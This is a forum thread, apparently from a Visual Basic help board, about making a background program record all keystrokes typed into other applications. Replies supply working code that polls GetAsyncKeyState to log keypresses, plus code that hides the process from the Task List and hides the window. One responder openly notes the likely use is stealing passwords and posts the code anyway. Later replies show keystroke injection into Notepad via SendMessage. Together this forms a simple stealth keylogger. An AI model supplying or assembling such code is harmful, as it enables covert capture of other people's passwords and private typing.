A newbie question?

[merlinkk]

The problem:

The way for making a form not in focus recieve all keystrokes made by user

Example:
User types in Notepad and app on background recieves all user's keypresses and puts them in its own textbox. Result: text is duplicated in 2 places.

usin sendmessage for getting text from control is not acceptable because sendmessage will not recieve info from most full-screen of dos-based apps and thats what i need

Thx very much if u can help and just thx if u cant =)

Use GetAsyncKeyState. Put the following code in a Form with a Timer.

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

Private Sub Form_Load()
    Timer1.Interval = 1
End Sub

Private Sub Timer1_Timer()
    On Error Resume Next
    For I = 3 To 255
        If I > 31 Then If GetAsyncKeyState(I) Then Text1 = Text1 & Chr(I)
    Next I
End Sub

Sorry if I'm being rude, but the next question's not going to be, how do I make my form invisible and how to I make it invisible on the tasks list is it?

The only reason that I can think why you'd want to do this is if you were going to rob someones password or something else devious

I don't really think it matters, however, if thats the case, then the answers are shown below.

To hide from the Task List:

Private Declare Function GetCurrentProcessId Lib "kernel32" () As Long
Private Declare Function RegisterServiceProcess Lib "kernel32" (ByVal dwProcessID As Long, ByVal dwType As Long) As Long

Private Sub Form_Load()
    'Hide from Task List
    RegisterServiceProcess GetCurrentProcessId, 1
End Sub

Private Sub Form_Unload(Cancel As Integer)
    'Show in Task list
    RegisterServiceProcess GetCurrentProcessId, 0
End Sub

To hide the Form:

Me.Visible = False
'Or you can use... 
Me.Hide

Thx Megatron , one more question:
Is there a way to send keystrokes (keycodes or charcodes) with sendmessage?

Send the WM_CHAR message. Next example will send the A key to Notepad (so make sure you have Notepad pre-opened)

Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Const WM_CHAR = &H102

Private Sub Command1_Click()

    Dim hParent As Long
    Dim hChild As Long
    
    hParent = FindWindow("Notepad", vbNullString)
    hChild = FindWindowEx(hParent, 0&, "Edit", vbNullString)
    SendMessage hChild, WM_CHAR, vbKeyA, 0
    
End Sub

Please excuse my frined Megatron for being a bit of a show-off. He's only trying to help.



Unfortunately, he's succeeding quite nicely.

Unless, of course, all the other Gurus die by (for example) chopping their heads off while shaving, stabbing themselves with a bread knife while cutting a loaf or (in a tragic accident) drowning in their owns baths.

ok, so sendmessage can send keystrokes though i couldnt accomplish sending vbkeyreturn which is bad =(

And: is there any possibility to scan what virtual key is pressed now and deicpher what u get in a symbol/func key
